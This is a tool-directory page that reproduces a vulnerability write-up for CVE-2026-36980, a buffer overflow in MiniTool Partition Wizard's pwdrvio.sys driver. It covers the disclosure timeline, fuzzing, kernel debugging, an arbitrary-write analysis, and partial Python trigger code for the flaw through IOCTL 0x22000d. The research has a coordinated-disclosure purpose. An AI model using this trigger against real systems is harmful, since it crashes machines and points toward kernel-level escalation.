Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-36980-Kernel-BSOD-DoS-PoC — Project Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service. | Kitploit
Tools/GitHubGitHub/canomer/cve-2026-36980-kernel-bsod-dos-poc
Vulnerability AnalysisExploitationDebuggersFuzzingBinary Exploitation
GitHubcanomer/cve-2026-36980-kernel-bsod-dos-poc

CVE-2026-36980-Kernel-BSOD-DoS-PoC

Project Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service.

View Repository
1174 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-36980-Kernel-BSOD-DoS-PoC

Project Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the pwdrvio.sys kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service.

  • 2026-02-09 Vendor notified
  • 2026-03-05 Vendor acknowledged
  • 2026-03-05 CVE requested from MITRE
  • 2026-05-10 Public disclosure after 90-day coordinated disclosure period

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

Denial of Service (DoS) Severity: MEDIUM CVSS 3.1 Score: 5.5 (DoS)
CVSS Vector String:

  • DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Buffer Overflow — Denial of Service (CVSS 5.5 - MEDIUM)

  • Triggers Blue Screen of Death (BSOD)
  • Standalone exploitation (no debugger required)
  • Caused by buffer overflow via IOCTL 0x22000d
  • Consistent crash across all tested configurations

Attack Prerequisites:

  • Local access to the target system
  • Standard user account (non-administrator)
  • MiniTool Partition Wizard installed or uninstalled (pwdrvio.sys driver loaded)

Exploitation Results: DoS - Immediate system crash, service unavailability

Vulnerability Discovery Timeline

Phase 1: Initial Fuzzing and BSOD Discovery

Date: February 5, 2026
Activity: Systematic kernel driver fuzzing using custom Python fuzzer

Discovery Process:

  1. Target Selection:

    • Enumerated installed kernel drivers on Windows 10 VM
    • Identified pwdrvio.sys as oldest driver (timestamp: June 16, 2009)
    • Driver file: C:\Windows\System32\drivers\pwdrvio.sys
    • Device object: \\.\PartitionWizardDiskAccesser\0
  2. Initial Fuzzing:

    • Developed Python fuzzer using ctypes to interface with driver
    • Sent randomized data via WriteFile/DeviceIoControl to driver device
    • Result: Multiple Blue Screens of Death (BSOD)
  3. Verifier Activation:

    • Enabled Driver Verifier for enhanced crash detection
    verifier /standard /driver pwdrvio.sys
    

    Verifier Configuration:

    Verifier Flags: 0x001209bb
    Standard Flags Enabled:
      [X] Special pool
      [X] Force IRQL checking  
      [X] Pool tracking
      [X] I/O verification
      [X] Deadlock detection
      [X] DMA checking
      [X] Security checks
      [X] Miscellaneous checks
      [X] DDI compliance checking
    

Phase 2: WinDbg Kernel Debugging Setup

Date: February 5-6, 2026
Activity: Established kernel debugging environment for root cause analysis

Setup Procedure:

  1. VMware Serial Port Configuration:

    VMware Workstation Pro → VM Settings
    ├─ Add Hardware → Serial Port
    ├─ Connection: "Use named pipe"
    ├─ Path: \\.\pipe\com_1
    ├─ End: "This is the server"
    └─ I/O Mode: "Yield CPU on poll" ✓
    
  2. Guest OS Configuration:

    REM Administrator Command Prompt
    bcdedit /debug on
    bcdedit /dbgsettings serial debugport:1 baudrate:115200
    shutdown /r /t 0
    
  3. Host WinDbg Connection:

    WinDbg → File → Attach to Kernel
    ├─ Port: \\.\pipe\com_1
    ├─ Baud Rate: 115200
    ├─ Pipe: ✓
    └─ Reconnect: ✓
    
    Result: "Kernel Debugger connection established."
    

Phase 3: Root Cause Analysis - Arbitrary Write Discovery

Date: February 6, 2026
Activity: Identified arbitrary kernel write primitive

Analysis Steps:

  1. Module Analysis:

    1: kd> lm m pwdrvio
    start             end                 module name
    fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)
    
    1: kd> !drvobj pwdrvio 2
    Driver object (fffff805`XXXXXXXX) is for:
     \Driver\pwdrvio
    
    DriverEntry:   fffff805`315f6008
    DriverUnload:  fffff805`315f1060
    
    Dispatch Routines:
    [00] IRP_MJ_CREATE                      fffff805`315f108c
    [02] IRP_MJ_CLOSE                       fffff805`315f12f8
    [03] IRP_MJ_READ                        fffff805`315f16c4
    [04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
    [0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404
    
  2. Vulnerable Instruction Discovery:

    Set breakpoint on write handler:

    1: kd> bp pwdrvio+0x1641
    1: kd> g
    
    Breakpoint 0 hit
    pwdrvio+0x1641:
    fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
    

    Critical Finding: Arbitrary write primitive identified!

    • Instruction writes kernel pointer (RAX) to address [R11-0x10]
    • R11 is loaded from stack frame: mov r11, qword ptr [rbp+0xB8h]
    • No validation performed on destination address
  3. Register State Analysis:

    0: kd> r
    rax=fffff805315f1364  ← Kernel code pointer
    r11=ffffe60f84c38750  ← Destination address (controlled via stack)
    rbp=ffffe60f84c38610  ← IRP stack frame
    
    0: kd> dq @rbp+0xB8 L1
    ffffe60f`84c386c8  ffffe60f`84c38750  ← R11 loaded from here
    

Phase 4: UAF to Arbitrary Write Analysis

Date: February 6-7, 2026
Activity: Traced vulnerability from User-After-Free to write-what-where condition

Memory Corruption Chain:

  1. IRP Allocation:

    0: kd> !pool @rbp
    Pool page ffffe60f84c38610 region is Special pool
    *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
    Pooltag Irp+ : I/O verifier allocated IRP packets
    
  2. Buffer Relationship:

    0: kd> r rsi
    rsi=ffffe60f828df900  ← User buffer location
    
    0: kd> ? @rbp - @rsi
    Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
    

    Analysis: User buffer is NOT directly accessible from RBP frame

    • RBP points to IRP structure in kernel pool
    • User buffer is in different memory region
    • RBP+0xB8 offset does not point into user-controlled buffer
  3. Use-After-Free Condition:

    The driver maintains dangling pointers in the IRP structure:

    // Ghidra decompilation (pwdrvio+0x1564)
    longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP
    
    // No validation!
    lVar5 = IoBuildAsynchronousFsdRequest(...);
    
    // Write to [lVar1 - 0x10]
    *(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!
    

Phase 6: Denial of Service Identification

Date: February 8, 2026
Activity: Discovered standalone DoS vulnerability

Discovery:

  1. IOCTL Fuzzing:

    • Tested various IOCTL codes with malformed buffers
    • Identified IOCTL 0x22000d as vulnerable
  2. Crash Mechanism:

    # Vulnerable parameters
    TARGET_IOCTL = 0x22000d
    
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value!
    
    DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                    real_output_buffer, fake_output_length, ...)
    
  3. Driver Behavior:

    • Driver trusts user-supplied output buffer length
    • Attempts to write 8192 bytes into 4-byte buffer
    • Buffer overflow → Pool corruption → BSOD

Verifier Output:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

Vulnerability #2: Denial of Service (DoS)

CWE Classification

  • CWE-120: Buffer Copy without Checking Size of Input
  • CWE-119: Improper Restriction of Operations within Memory Buffer
  • CWE-248: Uncaught Exception

Vulnerability Details

Location: pwdrvio.sys IOCTL handler
Vulnerable IOCTL: 0x22000d

Trigger Mechanism:

import ctypes
from ctypes import wintypes

DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d

kernel32 = ctypes.windll.kernel32
Download Tool